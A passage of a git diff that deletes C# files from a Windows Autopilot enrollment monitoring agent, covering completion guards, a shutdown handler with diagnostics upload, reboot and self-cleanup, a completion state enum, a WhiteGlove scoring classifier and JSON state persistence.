TransitionResult - { - Transitioned = true, - PreviousState = prev, - NewState = _currentState, - DeferredSource = deferredSource - }; - } - - // ===== Guard Helpers (called under lock) ===== - - /// - /// Checks all three completion guards for a given source. - /// - private bool CanComplete(CompletionContext ctx, string source) - { - bool helloResolved = CompletionGuards.IsHelloResolved( - ctx.HasHelloTracker, ctx.IsHelloCompleted, - ctx.IsHelloPolicyConfigured, ctx.IsDeviceOnly); - - bool espGateBlocking = CompletionGuards.IsEspGateBlocking( - source, ctx.EnrollmentType, _espEverSeen, _espFinalExitSeen); - - bool hybridRebootGateBlocking = CompletionGuards.IsHybridRebootGateBlocking( - ctx.IsHybridJoin, source, - ctx.ImePatternSeenUtc, ctx.EspFinalExitUtc, ctx.AgentStartTimeUtc); - - return helloResolved && !espGateBlocking && !hybridRebootGateBlocking; - } - - /// - /// Completion check with Hello always resolved (caller has just confirmed Hello completed). - /// Only checks ESP gate and hybrid reboot gate. - /// - private bool CanCompleteWithHelloResolved(CompletionContext ctx, string source) - { - bool espGateBlocking = CompletionGuards.IsEspGateBlocking( - source, ctx.EnrollmentType, _espEverSeen, _espFinalExitSeen); - - bool hybridRebootGateBlocking = CompletionGuards.IsHybridRebootGateBlocking( - ctx.IsHybridJoin, source, - ctx.ImePatternSeenUtc, ctx.EspFinalExitUtc, ctx.AgentStartTimeUtc); - - return !espGateBlocking && !hybridRebootGateBlocking; - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Completion/EnrollmentCompletionHandler.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Completion/EnrollmentCompletionHandler.cs deleted file mode 100644 index a11526d2..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Completion/EnrollmentCompletionHandler.cs +++ /dev/null @@ -1,399 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.IO; -using System.Security.AccessControl; -using System.Security.Principal; -using System.Threading; -using System.Threading.Tasks; -using AutopilotMonitor.Agent.Core.Configuration; -using AutopilotMonitor.Agent.Core.Logging; -using AutopilotMonitor.Agent.Core.Monitoring.Runtime; -using AutopilotMonitor.Agent.Core.Monitoring.Transport; -using AutopilotMonitor.Shared; -using AutopilotMonitor.Agent.Core.Security; -using AutopilotMonitor.Shared.Models; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion -{ - /// - /// Handles enrollment terminal events: enrollment_complete, enrollment_failed, and - /// whiteglove_complete shutdown sequences including diagnostics upload, summary dialog, - /// self-destruct, and reboot. - /// - public class EnrollmentCompletionHandler - { - private readonly AgentConfiguration _configuration; - private readonly AgentLogger _logger; - private readonly string _agentVersion; - private readonly Action _emitEvent; - private readonly Action> _emitShutdownEvent; - private readonly Func _uploadEventsAsync; - private readonly Action _stopUploadTimers; - private readonly CleanupService _cleanupService; - private readonly DiagnosticsPackageService _diagnosticsService; - private readonly SessionPersistence _sessionPersistence; - private readonly EventSpool _spool; - - public EnrollmentCompletionHandler( - AgentConfiguration configuration, - AgentLogger logger, - string agentVersion, - Action emitEvent, - Action> emitShutdownEvent, - Func uploadEventsAsync, - Action stopUploadTimers, - CleanupService cleanupService, - DiagnosticsPackageService diagnosticsService, - SessionPersistence sessionPersistence, - EventSpool spool) - { - _configuration = configuration; - _logger = logger; - _agentVersion = agentVersion; - _emitEvent = emitEvent; - _emitShutdownEvent = emitShutdownEvent; - _uploadEventsAsync = uploadEventsAsync; - _stopUploadTimers = stopUploadTimers; - _cleanupService = cleanupService; - _diagnosticsService = diagnosticsService; - _sessionPersistence = sessionPersistence; - _spool = spool; - } - - /// - /// Handles normal enrollment completion (success or failure). - /// Stops collectors, runs shutdown analyzers, uploads diagnostics, optionally self-destructs. - /// - public async Task HandleEnrollmentComplete( - bool enrollmentSucceeded, - bool isWhiteGlovePart2, - Action stopCollectors, - Action runShutdownAnalyzers) - { - try - { - _logger.Info("===== ENROLLMENT COMPLETE - Starting shutdown sequence ====="); - - _logger.Info("Stopping event collectors..."); - stopCollectors(); - _spool.StopWatching(); - - runShutdownAnalyzers(isWhiteGlovePart2 ? 2 : (int?)null); - - _logger.Info("Uploading final events..."); - await _uploadEventsAsync(); - - await Task.Delay(2000); - - await UploadDiagnosticsWithTimelineEvents(enrollmentSucceeded); - - if (_configuration.ShowEnrollmentSummary) - LaunchEnrollmentSummaryDialog(); - - if (_configuration.SelfDestructOnComplete) - { - _cleanupService.ExecuteSelfDestruct(); - } - else if (_configuration.RebootOnComplete) - { - _logger.Info($"RebootOnComplete enabled - initiating reboot in {_configuration.RebootDelaySeconds}s"); - - _emitEvent(new EnrollmentEvent - { - SessionId = _configuration.SessionId, - TenantId = _configuration.TenantId, - Timestamp = DateTime.UtcNow, - EventType = "reboot_triggered", - Severity = EventSeverity.Info, - Source = "MonitoringService", - Phase = EnrollmentPhase.Complete, - Message = $"Reboot configured — triggering reboot in {_configuration.RebootDelaySeconds} seconds", - Data = new Dictionary - { - { "rebootDelaySeconds", _configuration.RebootDelaySeconds } - }, - ImmediateUpload = true - }); - - await _uploadEventsAsync(); - - StartReboot(_configuration.RebootDelaySeconds); - } - - _emitShutdownEvent( - enrollmentSucceeded ? "enrollment_complete" : "enrollment_failed", - $"Agent shutting down after enrollment {(enrollmentSucceeded ? "completion" : "failure")}", - new Dictionary - { - { "enrollmentSucceeded", enrollmentSucceeded }, - { "selfDestruct", _configuration.SelfDestructOnComplete }, - { "reboot", _configuration.RebootOnComplete } - }); - await _uploadEventsAsync(); - - _logger.Info("Shutdown sequence complete. Agent will now exit."); - ExitProcess(0); - } - catch (Exception ex) - { - _logger.Error("Error during self-destruct sequence", ex); - ExitProcess(1); - } - } - - /// - /// Graceful shutdown after WhiteGlove (Pre-Provisioning) completes. - /// Does NOT delete the session ID — the session must survive for Part 2. - /// - public async Task HandleWhiteGloveComplete( - Action stopCollectors, - Action runShutdownAnalyzers, - Func readEventSequence) - { - try - { - _logger.Info("===== WHITEGLOVE COMPLETE - Starting graceful shutdown sequence ====="); - - runShutdownAnalyzers(1); - - _logger.Info("Uploading final events (draining spool)..."); - int maxIterations = 20; - while (_spool.GetCount() > 0 && maxIterations-- > 0) - { - await _uploadEventsAsync(); - } - - await Task.Delay(2000); - - await UploadDiagnosticsWithTimelineEvents(enrollmentSucceeded: true, fileNameSuffix: "preprov"); - - _sessionPersistence.SaveWhiteGloveComplete(); - _logger.Info("WhiteGlove marker persisted for Part 2 detection"); - - _emitShutdownEvent( - "whiteglove_complete", - "Agent shutting down after WhiteGlove Part 1 — no cleanup, session preserved for Part 2 on next boot", - new Dictionary - { - { "sessionPreserved", true }, - { "selfDestruct", false }, - { "reboot", false }, - { "cleanup", false }, - { "willResumeOnNextBoot", true } - }); - await _uploadEventsAsync(); - - var finalSequence = readEventSequence(); - _sessionPersistence.SaveSequence(finalSequence); - _logger.Info($"Sequence counter persisted at {finalSequence} for next boot"); - - _logger.Info("WhiteGlove graceful shutdown complete. Agent exiting."); - ExitProcess(0); - } - catch (Exception ex) - { - _logger.Error("Error during WhiteGlove shutdown sequence", ex); - ExitProcess(0); - } - } - - internal virtual void ExitProcess(int code) => Environment.Exit(code); - - internal virtual void StartReboot(int delaySeconds) - { - var psi = new ProcessStartInfo - { - FileName = SystemPaths.Shutdown, - Arguments = $"/r /t {delaySeconds} /c \"Autopilot enrollment completed - rebooting\"", - UseShellExecute = false, - CreateNoWindow = true - }; - Process.Start(psi); - } - - /// - /// Deletes the persisted session ID and sequence files. - /// - public void DeleteSessionId() - { - _logger.Info("Deleting persisted session ID and sequence..."); - try - { - _sessionPersistence.DeleteSession(); - _logger.Info("Session ID and sequence deleted successfully"); - } - catch (Exception ex) - { - _logger.Warning($"Failed to delete session ID: {ex.Message}"); - } - } - - private async Task UploadDiagnosticsWithTimelineEvents(bool enrollmentSucceeded, string fileNameSuffix = null) - { - var mode = _configuration.DiagnosticsUploadMode ?? "Off"; - if (string.Equals(mode, "Off", StringComparison.OrdinalIgnoreCase)) - return; - if (!_configuration.DiagnosticsUploadEnabled) - return; - if (string.Equals(mode, "OnFailure", StringComparison.OrdinalIgnoreCase) && enrollmentSucceeded) - return; - - _emitEvent(new EnrollmentEvent - { - SessionId = _configuration.SessionId, - TenantId = _configuration.TenantId, - Timestamp = DateTime.UtcNow, - EventType = "diagnostics_collecting", - Severity = EventSeverity.Info, - Source = "MonitoringService", - Phase = EnrollmentPhase.Complete, - Message = $"Collecting diagnostics package (mode={mode}{(fileNameSuffix != null ? $", type={fileNameSuffix}" : "")})", - Data = new Dictionary - { - { "uploadMode", mode } - } - }); - await _uploadEventsAsync(); - - var uploadResult = await _diagnosticsService.CreateAndUploadAsync(enrollmentSucceeded, fileNameSuffix); - var success = uploadResult?.Success == true; - - var resultData = new Dictionary - { - { "uploadMode", mode } - }; - if (uploadResult?.BlobName != null) - resultData["blobName"] = uploadResult.BlobName; - // Backend stamps Session.DiagnosticsBlobDestination from this so the download - // path can route correctly even after a future tenant destination switch. - // Omitted on legacy backend responses (Destination=null) — backend then falls - // back to treating the session as CustomerSas, which matches today's behaviour. - if (uploadResult?.Destination != null) - resultData["destination"] = uploadResult.Destination; - if (uploadResult?.SasUrlPrefix != null) - resultData["sasUrl"] = uploadResult.SasUrlPrefix; - if (uploadResult?.ErrorCode != null) - resultData["errorCode"] = uploadResult.ErrorCode; - - _emitEvent(new EnrollmentEvent - { - SessionId = _configuration.SessionId, - TenantId = _configuration.TenantId, - Timestamp = DateTime.UtcNow, - EventType = success ? "diagnostics_uploaded" : "diagnostics_upload_failed", - Severity = success ? EventSeverity.Info : EventSeverity.Warning, - Source = "MonitoringService", - Phase = EnrollmentPhase.Complete, - Message = success - ? $"Diagnostics package uploaded: {uploadResult.BlobName}" - : $"Diagnostics package upload failed{(uploadResult?.ErrorCode != null ? $": {uploadResult.ErrorCode}" : "")}", - Data = resultData - }); - await _uploadEventsAsync(); - } - - private void LaunchEnrollmentSummaryDialog() - { - try - { - var agentDir = Path.GetDirectoryName( - System.Reflection.Assembly.GetExecutingAssembly().Location) ?? string.Empty; - var dialogExe = Path.Combine(agentDir, "AutopilotMonitor.SummaryDialog.exe"); - - if (!File.Exists(dialogExe)) - { - _logger.Warning($"Summary dialog EXE not found at {dialogExe} — skipping"); - return; - } - - var statusFile = Path.Combine( - Environment.ExpandEnvironmentVariables(@"%ProgramData%\AutopilotMonitor\State"), - "final-status.json"); - - if (!File.Exists(statusFile)) - { - _logger.Warning($"final-status.json not found at {statusFile} — skipping summary dialog"); - return; - } - - var tempDir = Path.Combine( - Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData), - "AutopilotMonitor-Summary"); - - try { if (Directory.Exists(tempDir)) Directory.Delete(tempDir, true); } catch { } - Directory.CreateDirectory(tempDir); - - GrantUserDeletePermission(tempDir); - - var tempDialogExe = Path.Combine(tempDir, "AutopilotMonitor.SummaryDialog.exe"); - File.Copy(dialogExe, tempDialogExe); - - var jsonDll = Path.Combine(agentDir, "Newtonsoft.Json.dll"); - if (File.Exists(jsonDll)) - File.Copy(jsonDll, Path.Combine(tempDir, "Newtonsoft.Json.dll")); - - var exeConfig = dialogExe + ".config"; - if (File.Exists(exeConfig)) - File.Copy(exeConfig, tempDialogExe + ".config"); - - var tempStatusFile = Path.Combine(tempDir, "final-status.json"); - File.Copy(statusFile, tempStatusFile); - - var args = $"--status-file \"{tempStatusFile}\" --timeout {_configuration.EnrollmentSummaryTimeoutSeconds} --cleanup"; - if (!string.IsNullOrEmpty(_configuration.EnrollmentSummaryBrandingImageUrl)) - args += $" --branding-url \"{_configuration.EnrollmentSummaryBrandingImageUrl}\""; - - _logger.Info($"Launching enrollment summary dialog: {tempDialogExe} {args}"); - - _emitEvent(new EnrollmentEvent - { - SessionId = _configuration.SessionId, - TenantId = _configuration.TenantId, - Timestamp = DateTime.UtcNow, - EventType = "enrollment_summary_shown", - Severity = EventSeverity.Info, - Source = "MonitoringService", - Phase = EnrollmentPhase.Complete, - Message = "Launching enrollment summary dialog to user" - }); - - try { _uploadEventsAsync().Wait(TimeSpan.FromSeconds(5)); } catch { } - - var launched = UserSessionProcessLauncher.LaunchInUserSession( - tempDialogExe, args, _logger, - _configuration.EnrollmentSummaryLaunchRetrySeconds); - if (!launched) - { - _logger.Warning("Could not launch summary dialog in user session (no interactive session found)"); - try { Directory.Delete(tempDir, true); } catch { } - } - } - catch (Exception ex) - { - _logger.Warning($"Failed to launch enrollment summary dialog: {ex.Message}"); - } - } - - private void GrantUserDeletePermission(string directoryPath) - { - try - { - var dirInfo = new DirectoryInfo(directoryPath); - var security = dirInfo.GetAccessControl(); - var usersIdentity = new SecurityIdentifier(WellKnownSidType.BuiltinUsersSid, null); - security.AddAccessRule(new FileSystemAccessRule( - usersIdentity, - FileSystemRights.FullControl, - InheritanceFlags.ContainerInherit | InheritanceFlags.ObjectInherit, - PropagationFlags.None, - AccessControlType.Allow)); - dirInfo.SetAccessControl(security); - } - catch (Exception ex) - { - _logger.Debug($"Could not set ACL on summary folder: {ex.Message}"); - } - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Completion/EnrollmentCompletionState.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Completion/EnrollmentCompletionState.cs deleted file mode 100644 index 661d9d4c..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Completion/EnrollmentCompletionState.cs +++ /dev/null @@ -1,120 +0,0 @@ -namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion -{ - /// - /// Explicit states for the enrollment completion state machine. - /// Each state represents a distinguishable configuration of the implicit boolean flags - /// that previously existed only as field combinations in EnrollmentTracker.CompletionLogic.cs. - /// - internal enum EnrollmentCompletionState - { - /// - /// Initial state. No completion-relevant signals received. - /// Waiting for: ESP phase event, desktop arrival, or device setup provisioning. - /// - Idle, - - /// - /// ESP has been seen (at least one phase detected) but no final exit yet. - /// Waiting for: ESP exit (FinalizingSetup trigger), desktop arrival, or device-only timer. - /// - EspActive, - - /// - /// ESP exited from AccountSetup (or desktop-arrival backup). espFinalExitSeen=true. - /// Waiting for: Hello resolution, IME user session completion, or safety timeout. - /// - EspExitedAwaitingCompletion, - - /// - /// IME user session completed but Hello is configured and not yet resolved. - /// isWaitingForHello=true. Safety timer running (420s / 7 min). - /// - WaitingForHello, - - /// - /// IME user session completed but ESP provisioning categories not yet resolved in registry. - /// isWaitingForEspSettle=true. Settle timer running (30s). - /// - WaitingForEspSettle, - - /// - /// Desktop arrived but ESP is still active (ESP gate blocking completion). - /// Waiting for: ESP final exit. - /// - DesktopArrivedEspBlocking, - - /// - /// Desktop arrived, no ESP blocking (ESP exited, never seen, or v2). Hello may be pending. - /// Waiting for: Hello resolution or direct completion. - /// - DesktopArrivedAwaitingHello, - - /// - /// Device-only deployment detected (Self-Deploying or SkipUserStatusPage=true without AAD user). - /// Waiting for provisioning complete or IME completion. Hello guard bypassed. - /// - DeviceOnlyAwaitingCompletion, - - /// - /// Device-only ESP exit detected but completion didn't fire immediately (Hello pending). - /// Safety timer running (420s / 7 min). - /// - DeviceOnlySafetyWait, - - /// - /// Hybrid join: esp_hello_composite blocked by reboot gate. - /// Waiting for: IME user session completion or agent restart confirmation after ESP exit. - /// - HybridRebootGateBlocked, - - /// - /// Device info not yet collected when a completion signal arrived. - /// Completion source deferred until CollectDeviceInfo finishes (pendingCompletionSource set). - /// - DeferredForDeviceInfo, - - /// - /// Terminal: enrollment_complete event emitted. No further transitions possible. - /// - Completed, - - /// - /// Terminal: enrollment_failed event emitted. No further transitions possible. - /// - Failed, - - /// - /// Terminal: whiteglove_complete event emitted. No further transitions possible. - /// - WhiteGloveCompleted - } - - /// - /// Extension methods for EnrollmentCompletionState. - /// - internal static class EnrollmentCompletionStateExtensions - { - /// - /// Returns true if the state is terminal (Completed, Failed, or WhiteGloveCompleted). - /// No further transitions are allowed from terminal states. - /// - public static bool IsTerminal(this EnrollmentCompletionState state) - { - return state == EnrollmentCompletionState.Completed - || state == EnrollmentCompletionState.Failed - || state == EnrollmentCompletionState.WhiteGloveCompleted; - } - - /// - /// Returns true if the state is a waiting state (actively waiting for a signal or timeout). - /// - public static bool IsWaiting(this EnrollmentCompletionState state) - { - return state == EnrollmentCompletionState.WaitingForHello - || state == EnrollmentCompletionState.WaitingForEspSettle - || state == EnrollmentCompletionState.DeviceOnlySafetyWait - || state == EnrollmentCompletionState.HybridRebootGateBlocked - || state == EnrollmentCompletionState.DeferredForDeviceInfo; - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Completion/WhiteGloveClassifier.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Completion/WhiteGloveClassifier.cs deleted file mode 100644 index 871a5575..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Completion/WhiteGloveClassifier.cs +++ /dev/null @@ -1,150 +0,0 @@ -using System; -using System.Collections.Generic; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion -{ - /// - /// Confidence level for a WhiteGlove Part 1 classification. - /// - internal enum WhiteGloveConfidence - { - /// Score below — definitely not WhiteGlove. - None, - - /// Score between low and high thresholds — ambiguous. Routed as NOT WhiteGlove (asymmetric-conservative). - Weak, - - /// Score at or above — classify as WhiteGlove Part 1. - Strong, - } - - /// - /// Result of a call. Contains the - /// final routing decision, the numeric score and the contributing factors for - /// observability / tuning. - /// - internal sealed class WhiteGloveClassification - { - public WhiteGloveConfidence Confidence { get; set; } - public int Score { get; set; } - public List ContributingFactors { get; set; } = new List(); - public string Reason { get; set; } - - /// - /// Single Boolean the caller should read to decide whether to route to - /// whiteglove_complete (Pending) instead of the normal completion path. - /// Only true when is . - /// - public bool ShouldRouteToWhiteGlovePart1 { get; set; } - } - - /// - /// Scoring-based WhiteGlove Part 1 classifier — modelled on the backend - /// AnalyzeRule.BaseConfidence + ConfidenceFactors + ConfidenceThreshold pattern. - /// - /// Asymmetric-conservative decision rule: only a - /// score routes to WhiteGlove. A score is emitted - /// to telemetry for tuning but treated as NOT WhiteGlove. Rationale: a false-positive WG - /// classification keeps the agent pending when it should exit; a false-negative emits - /// enrollment_complete early and the later user sign-in triggers a new session — - /// the user-visible cost of false-negative is much lower than false-positive. - /// - internal static class WhiteGloveClassifier - { - // Thresholds (tunable after production data — see project memory). - internal const int HighThreshold = 70; // >= 70 → Strong → route to WG - internal const int LowThreshold = 30; // 30..69 → Weak (telemetry only) - internal const int BaseConfidence = 0; - - // Positive-signal weights - internal const int WeightShellCoreWhiteGloveSuccess = 80; // definitive — Event 62407 - internal const int WeightHasSaveWhiteGloveSuccess = 10; // very weak — also fires on non-WG devices - internal const int WeightWhiteGloveStartDetected = 15; // soft — Event 509 also fires on hybrid - internal const int WeightFooUserDetected = 20; // weak — pre-provisioning marker - internal const int WeightAgentRestartedAfterEspExit = 10; // weak — typical WG boundary - internal const int WeightDeviceOnlyDeployment = 15; // context boost - - // Negative-signal weights (hard excluders) - internal const int WeightAadJoinedWithUser = -100; // hard exclude - internal const int WeightDesktopArrived = -100; // hard exclude - internal const int WeightAccountSetupActive = -40; // soft exclude - - public static WhiteGloveClassification Classify(WhiteGloveSignals s) - { - if (s == null) throw new ArgumentNullException(nameof(s)); - - var factors = new List(); - int score = BaseConfidence; - - // Hard excluders - if (s.AadJoinedWithUser) - { - score += WeightAadJoinedWithUser; - factors.Add($"aad_joined_with_user:{WeightAadJoinedWithUser:+#;-#;0}"); - } - if (s.DesktopArrived) - { - score += WeightDesktopArrived; - factors.Add($"desktop_arrived:{WeightDesktopArrived:+#;-#;0}"); - } - if (s.HasAccountSetupActivity) - { - score += WeightAccountSetupActive; - factors.Add($"account_setup_activity:{WeightAccountSetupActive:+#;-#;0}"); - } - - // Positive signals — weighted by empirical reliability - if (s.ShellCoreWhiteGloveSuccess) - { - score += WeightShellCoreWhiteGloveSuccess; - factors.Add($"shellcore_wg_success:{WeightShellCoreWhiteGloveSuccess:+#;-#;0}"); - } - if (s.HasSaveWhiteGloveSuccessResult) - { - score += WeightHasSaveWhiteGloveSuccess; - factors.Add($"save_wg_success:{WeightHasSaveWhiteGloveSuccess:+#;-#;0}"); - } - if (s.IsWhiteGloveStartDetected) - { - score += WeightWhiteGloveStartDetected; - factors.Add($"event509_wg_start:{WeightWhiteGloveStartDetected:+#;-#;0}"); - } - if (s.IsFooUserDetected) - { - score += WeightFooUserDetected; - factors.Add($"foouser_detected:{WeightFooUserDetected:+#;-#;0}"); - } - if (s.AgentRestartedAfterEspExit) - { - score += WeightAgentRestartedAfterEspExit; - factors.Add($"agent_restart_after_esp:{WeightAgentRestartedAfterEspExit:+#;-#;0}"); - } - if (s.IsDeviceOnlyDeployment) - { - score += WeightDeviceOnlyDeployment; - factors.Add($"device_only_deployment:{WeightDeviceOnlyDeployment:+#;-#;0}"); - } - - // NOTE: no hybrid-join dampener — WhiteGlove works on both AADJ and hybrid. - // NOTE: no "long stable since DeviceSetup" bonus — devices stand idle for other reasons. - - // Cap to [0, 100] - if (score < 0) score = 0; - if (score > 100) score = 100; - - WhiteGloveConfidence confidence; - if (score >= HighThreshold) confidence = WhiteGloveConfidence.Strong; - else if (score >= LowThreshold) confidence = WhiteGloveConfidence.Weak; - else confidence = WhiteGloveConfidence.None; - - return new WhiteGloveClassification - { - Confidence = confidence, - Score = score, - ContributingFactors = factors, - Reason = $"confidence={confidence} score={score}", - ShouldRouteToWhiteGlovePart1 = (confidence == WhiteGloveConfidence.Strong), - }; - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Completion/WhiteGloveSignals.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Completion/WhiteGloveSignals.cs deleted file mode 100644 index 6c7c193c..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Completion/WhiteGloveSignals.cs +++ /dev/null @@ -1,63 +0,0 @@ -using System; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion -{ - /// - /// Snapshot of all signals relevant for WhiteGlove (Part 1) classification. - /// Populated under _stateLock in the caller and consumed outside the lock by - /// — mirrors the CompletionContext - /// pattern to preserve the existing thread-safety guarantees. - /// - /// Source-of-truth is the EnrollmentTracker state. When the tracker uses - /// CompletionStateMachine (shadow), use to keep both - /// decision paths in sync. - /// - internal sealed class WhiteGloveSignals - { - // "Hard" positive signals (registry / Shell-Core) - public bool ShellCoreWhiteGloveSuccess { get; set; } // Event 62407 "WhiteGlove_Success" — strongest signal - public bool HasSaveWhiteGloveSuccessResult { get; set; } // DeviceSetup registry subcategory — also fires on non-WG - public bool IsWhiteGloveStartDetected { get; set; } // Event 509 — soft, fires on hybrid too - public bool IsFooUserDetected { get; set; } // foouser@/autopilot@ in JoinInfo — pre-provisioning indicator - public bool AgentRestartedAfterEspExit { get; set; } // typical WG Part 1 boundary - - // Hard excluders (drive score negative) - public bool AadJoinedWithUser { get; set; } // real user signed in — not WG Part 1 anymore - public bool DesktopArrived { get; set; } // explorer.exe running — not WG Part 1 anymore - public bool HasAccountSetupActivity { get; set; } // user-driven ESP category active - - // Deployment context - public bool IsDeviceOnlyDeployment { get; set; } - - // Optional metadata (populated for observability, not scored) - public DateTime? EspFinalExitUtc { get; set; } - public DateTime? DeviceSetupProvisioningCompleteUtc { get; set; } - - /// - /// Builds a signal snapshot from a . Used by the - /// CompletionStateMachine so that state-machine decisions use the exact same - /// inputs as the EnrollmentTracker's direct decisions. - /// - public static WhiteGloveSignals FromContext(CompletionContext ctx) - { - if (ctx == null) throw new ArgumentNullException(nameof(ctx)); - - return new WhiteGloveSignals - { - ShellCoreWhiteGloveSuccess = ctx.ShellCoreWhiteGloveSuccess, - HasSaveWhiteGloveSuccessResult = ctx.HasSaveWhiteGloveSuccessResult, - IsWhiteGloveStartDetected = ctx.WhiteGloveStartDetected, - IsFooUserDetected = ctx.IsFooUserDetected, - AgentRestartedAfterEspExit = ctx.AgentRestartedAfterEspExit, - - AadJoinedWithUser = ctx.AadJoinedWithUser, - DesktopArrived = ctx.DesktopArrived, - HasAccountSetupActivity = ctx.HasAccountSetupActivity, - - IsDeviceOnlyDeployment = ctx.IsDeviceOnly, - - EspFinalExitUtc = ctx.EspFinalExitUtc, - }; - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/EnrollmentStatePersistence.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/EnrollmentStatePersistence.cs deleted file mode 100644 index b94c4317..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/EnrollmentStatePersistence.cs +++ /dev/null @@ -1,151 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using AutopilotMonitor.Agent.Core.Logging; -using Newtonsoft.Json; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment -{ - /// - /// Handles persistence of EnrollmentTracker state to disk (JSON serialization). - /// Enables crash-recovery: after agent restart, completion signals already seen - /// (ESP exit, desktop arrival, etc.) are restored so the enrollment can complete. - /// Pattern follows ImeTrackerStatePersistence. - /// - public class EnrollmentStatePersistence - { - private readonly string _stateDirectory; - private readonly string _stateFilePath; - private readonly AgentLogger _logger; - - public EnrollmentStatePersistence(string stateDirectory, AgentLogger logger) - { - _stateDirectory = Environment.ExpandEnvironmentVariables(stateDirectory); - _stateFilePath = Path.Combine(_stateDirectory, "enrollment-state.json"); - _logger = logger; - } - - public string StateFilePath => _stateFilePath; - - /// - /// Loads persisted state from disk. Returns null if no state file exists or on error. - /// - public EnrollmentStateData Load() - { - if (!File.Exists(_stateFilePath)) - { - _logger.Info("EnrollmentStatePersistence: no persisted state found (fresh enrollment)"); - return null; - } - - try - { - var json = File.ReadAllText(_stateFilePath); - var state = JsonConvert.DeserializeObject(json); - if (state == null) - { - _logger.Warning("EnrollmentStatePersistence: persisted state file was empty or invalid"); - return null; - } - return state; - } - catch (Exception ex) - { - _logger.Warning($"EnrollmentStatePersistence: failed to load persisted state, starting fresh: {ex.Message}"); - return null; - } - } - - /// - /// Persists tracker state to disk as JSON (atomic write via temp file). - /// - public void Save(EnrollmentStateData state) - { - try - { - Directory.CreateDirectory(_stateDirectory); - var tempPath = _stateFilePath + ".tmp"; - File.WriteAllText(tempPath, JsonConvert.SerializeObject(state, Formatting.Indented)); - File.Copy(tempPath, _stateFilePath, overwrite: true); - try { File.Delete(tempPath); } catch { } - } - catch (Exception ex) - { - _logger.Debug($"EnrollmentStatePersistence: failed to save state: {ex.Message}"); - } - } - - /// - /// Deletes persisted state file. - /// - public void Delete() - { - try - { - if (File.Exists(_stateFilePath)) - { - File.Delete(_stateFilePath); - _logger.Info("EnrollmentStatePersistence: persisted state deleted"); - } - } - catch (Exception ex) - { - _logger.Debug($"EnrollmentStatePersistence: failed to delete state file: {ex.Message}"); - } - } - } - - // ---- DTO for state serialization ---- - - public class EnrollmentStateData - { - public bool EspEverSeen { get; set; } - public bool EspFinalExitSeen { get; set; } - public bool DesktopArrived { get; set; } - public string LastEspPhase { get; set; } - public bool IsWaitingForHello { get; set; } - public DateTime? WaitingForHelloStartedUtc { get; set; } - public bool EnrollmentCompleteEmitted { get; set; } - public string EnrollmentType { get; set; } - - // ESP configuration from registry (FirstSync\SkipUserStatusPage / SkipDeviceStatusPage) - public bool? SkipUserStatusPage { get; set; } - public bool? SkipDeviceStatusPage { get; set; } - - // Autopilot deployment mode: 0=UserDriven, 1=SelfDeploying, 2=PreProvisioning, null=unknown - public int? AutopilotMode { get; set; } - - // True when AAD join status shows a joined device with a real user email - // (placeholder accounts like foouser@/autopilot@ are excluded — see AadJoinInfo) - public bool AadJoinedWithUser { get; set; } - - // True when a transient AAD provisioning placeholder (foouser@/autopilot@) has been - // observed at any point in the session — survives crash/restart so the classifier - // keeps its positive WG signal after agent recovery. - public bool FooUserDetected { get; set; } - - // True when Autopilot profile indicates Hybrid Azure AD Join (CloudAssignedDomainJoinMethod == 1) - public bool IsHybridJoin { get; set; } - - // Signal timestamps for audit trail - public DateTime? EspFirstSeenUtc { get; set; } - public DateTime? EspFinalExitUtc { get; set; } - public DateTime? DesktopArrivedUtc { get; set; } - public DateTime? HelloResolvedUtc { get; set; } - public DateTime? ImePatternSeenUtc { get; set; } - public DateTime? DeviceSetupProvisioningCompleteUtc { get; set; } - public List SignalsSeen { get; set; } = new List(); - - // ESP provisioning settle wait state (crash recovery) - public bool IsWaitingForEspSettle { get; set; } - public DateTime? WaitingForEspSettleStartedUtc { get; set; } - - /// - /// Explicit completion state machine state (dual-write). - /// When present, used to restore the state machine directly. - /// When absent (old format), the state is reconstructed from boolean flags. - /// Serialized as string (enum name) for forward compatibility. - /// - public string CompletionState { get; set; } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/EnrollmentTracker.CompletionLogic.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/EnrollmentTracker.CompletionLogic.cs deleted file mode 100644 index 42553058..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/EnrollmentTracker.CompletionLogic.cs +++ /dev/null @@ -1,1813 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Threading; -using AutopilotMonitor.Agent.Core.Logging; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion; -using AutopilotMonitor.Shared; -using AutopilotMonitor.Shared.Models; -using Microsoft.Win32; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment -{ - /// - /// Partial: Enrollment completion detection, Hello/WhiteGlove/ESP failure 